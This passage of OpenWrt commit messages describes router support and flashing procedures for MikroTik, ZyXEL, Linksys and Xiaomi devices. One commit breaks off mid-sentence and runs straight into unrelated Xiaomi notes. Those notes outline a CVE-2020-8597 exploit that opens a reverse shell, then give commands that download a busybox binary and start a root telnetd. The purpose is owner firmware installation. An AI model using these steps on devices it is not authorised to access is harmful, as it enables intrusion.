your router simply flash the OEM image at this point.

74438d5419 ramips: add support for MikroTik RouterBOARD 760iGS (hEX S) 
This patch adds support for the MikroTik RouterBOARD 760iGS router.
It is similar to the already supported RouterBOARD 750Gr3.
The 760iGS device features an added SFP cage, and passive
PoE out on port 5 compared to the RB750Gr3.

https://mikrotik.com/product/hex_s

Specifications:

- SoC: MediaTek MT7621A
- CPU: 880MHz
- Flash: 16 MB
- RAM:  256 MB
- Ethernet: 5x 10/100/1000 Mbps
- SFP cage
- USB port
- microSD slot

Unsupported:

- Beeper (requires PWM driver)
- ZT2046Q (ADS7846 compatible) on SPI as slave 1 (CS1)
  The linux driver requires an interrupt, and pendown GPIO
  These are unknown, and not needed with the touchscreen
  only used for temperature and voltage monitoring.
  ads7846 hwmon:
  temp0 is degrees Celsius
  temp1 is voltage * 32

GPIOs:

- 07:  input passive PoE out (lan5) compatible (Mikrotik) device connected
- 17:  output passive PoE out (lan5) switch

Installation through RouterBoot follows the usual MikroTik method
https://openwrt.org/toh/mikrotik/common

To boot to intramfs image in RAM:

1. Setup TFTP server to serve intramfs image.
2. Plug Ethernet cable into WAN port.
3. Unplug power, hold reset button and plug power in.
   Wait (~25 seconds) for beep and then release reset button.
   The SFP LED will be lit in RouterBoot, but will not be lit in OpenWRT.
4. Wait for a minute. Router should be running OpenWrt,
   check by plugging in to port 2-5 and going to 192.168.1.1.

To install OpenWrt to flash:

1. Follow steps above to boot intramfs image in RAM.
2. Flash the sysupgrade.bin image with web interface or sysupgrade.
3. Once the router reboots you will be running OpenWrt from flash.

OEM firmware differences:

- RouterOS assigns a different MAC address for each port
- The first address (E01 on the sticker) is used for wan (ether1 in OEM).
- The next address is used for lan2.
- The last address (E06 on the sticker) is used for sfp.

c1794d653c ramips: add support for ZyXEL WAP6805 (Altibox WiFi+) 
Hardware
--------
SoC:   MediaTek MT7621ST
WiFi:  MediaTek MT7603
       Quantenna QT3840BC
Flash: 128M NAND
RAM:   64M
LED:   Dual colour red and green
BTN:   Reset
       WPS
Eth:   4 x 10/100/1000 connected to MT7621 internal switch
       MT7621 RGMII port connected to Quantenna module
GPIO:  Power/reset of Quantenna module

Quantenna module
----------------

The Quantenna QT3840BC (or QV840) is a separate SoC running
another Linux installation.  It is mounted on a wide mini-PCIe
form factor module, but is connected to the RGMII port of
the MT7621.  It loads both a second uboot stage and an os
image from the MT7621 using tftp.  The module is configured
using Quantenna specific RPC calls over IP, using 802.1q
over the RGMII link to support multiple SSIDs.

There is no support for using this module as a WiFi device
in OpenWrt. A package with basic firmware and management
tools is being prepared.

Serial ports
------------

Two serial ports with headers:

RRJ1 - 115200 8N1 - Connected to the Quantenna console
J1   -  57600 8N1 - Connected to the MT7621 console

Both share pinout with many other Zyxel/Mitrastar devices:

1 - NC (VDD)
2 - TX
3 - RX
4 - NC (no pin)
5 - GND

Dual system partitions
----------------------

The vendor firmware and boot loader use a dual partition
scheme storing a counter in the header of each partition. The
partition with the highest number will be selected for boot.

OpenWrt does not support this scheme and will always use the
first OS partition.  It will reset both counters to zero the
first time sysupgrade is run, making sure the first partition
is selected by the boot loader.

Installation from vendor firmware
---------------------------------

1. Run a DHCP server. The WAP6805 is configured as a client device
   and does not have a default static IP address. Make a note of
   which address it is assigned

2. tftp the OpenWrt initramfs-kernel.bin image to this address.
   Wait for the WAP6805 to reboot.

3. ssh to the OpenWrt initramfs system on 192.168.1.1. Make a
   backup of all mtd partitions now.  The last used OEM image is
   still present in either "Kernel" or "Kernel2" at this point,
   and can be restored later if you save a copy.

4. sysupgrade to the OpenWrt sysupgrade.bin image.

Installation from U-Boot
------------------------

This requires serial console access

1. Copy the OpenWrt initramfs-kernel.bin image as "ras.bin" to
   your tftp server directory.  Configure the server address as
   192.168.0.33/24

2. Hit ESC when the message "Hit ESC key to stop autoboot"
   appears

3. Type "ATGU" + Enter, and then "2" immediately after pressing enter.

4. Answer Y to the question "Erase Linux in Flash then burn new
   one. Are you sure?", and answer the address/filename questions.
   Defaults:
        Input device IP (192.168.0.2)
        Input server IP (192.168.0.33)
        Input Linux Kernel filename ("ras.bin")

5. Wait until after you see the message "Done!" and power cycle
   the device.  It will hang after flashing.

6. Continue with step 3 and 4 from the vendor firmware procedure.

Notes on the WAP6805 U-Boot
---------------------------
The bootloader has been modified with both ZyXELs zyloader and the
device specific dual partition scheme.  These changes appear to have
broken a few things.  The zyloader shell claims to support a number
of ZyXEL AT commands, but not all of them work.  The image selection
scheme is unreliable and inconsistent.  A limited U-Boot menu is
available - and used by the above U-Boot install procedure.  But
direct booting into an uploaded image does not work, neither with
ram nor with flash.  Flashing works, but requires a hard reset after
it is finished.

Reverting to OEM firmware
-------------------------

The OEM firmware can be restored by using mtd write from OpenWrt,
flashing it to the "Kernel" partition. E.g.

  ssh root@192.168.1.1 "mtd -r -e Kernel write - Kernel" < oem.bin

OEM firmwares for the WAP6805 are not avaible for public download,
so a backup of the original installation is required.  See above.

Alternatively, firmware for the WAP6806 (Armor X1) may be used. This
is exactly the same hardware.  But the branding features do obviously
differ.

LED controller
--------------

Hardware implementation is unknown.  The dual-color LED is controlled
by 3 GPIOs:

  4: red
  7: blinking green
 13: green

Enabling both red and green makes the LED appear yellow.

The boot loader enables hardware blinking, causing the green LED to blink
slowly on power-on, until the OpenWrt boot mode starts a faster software
blink.

48c1fdd046 treewide: drop shebang from non-executable target files 
This drops the shebang from all target files for /lib and
/etc/uci-defaults folders, as these are sourced and the shebang
is useless.

While at it, fix the executable flag on a few of these files.

This does not touch ar71xx, as this target is just used for
backporting now and applying cosmetic changes would just complicate

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

31b49f02ca ramips: add support for Linksys EA7500 v2 
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.

Hardware
--------
SoC:   Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM:   256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH:   5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
  - 2.4GHz: 1x MT7615N (4x4:4)
  - 5GHz:   1x MT7615N (4x4:4)
  - 4 antennas: 3 external detachable antennas and 1 internal
USB:
  - 1x USB 3.0
  - 1x USB 2.0
BTN:
  - 1x Reset button
  - 1x WPS button
LEDS:
  - 1x White led (Power)
  - 6x Green leds (link lan1-lan4, link wan, wps)
  - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)

Everything works correctly.

Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.

However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).

After this, you should be back in the OEM firmware.

Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).

When the router reboots flash the “factory” OpenWrt image and this
time it should work.

After the OpenWrt installation you have to use the sysupgrade image
for future updates.

Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.

Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
 1) "kernel" and "rootfs"
 2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.

This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.

A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.

Another way to switch the boot partition is:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.

Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.

However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.

If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

e8931b309f ramips: mt7621: tidy up names for Ubiquiti devices 
The "proper" vendor prefix for Ubiquiti is "ubnt", this is used in
all targets except ramips and also recommended by the kernel.

This patch adjusts the various board/image/device name variables
accordingly. Since we touch it anyway, this also adds the space
in "EdgeRouter X" as a hyphen to those variables to really make
them consistent with the model name.

While at it, create a real shared definition for the devices in
image/mt7621.mk instead of deriving one device from another.

f761f4052c ramips: mt7621: harmonize naming scheme for Mikrotik 
So far, image/device/board names for Mikrotik devices in mt7621 have
been used quite inconsistently.

This patch harmonizes the naming scheme by applying the same style
as used lately in ath79, i.e. using "RouterBOARD" as separate word
in the model name (instead of RB prefix for the number) and deriving
the board/device name from that (= make lower case and replace spaces
by hyphens).

This style has already been used for most the model/DEVICE_MODEL
variables in mt7621, so this is essentially just adjusting the remaining
variables to that.
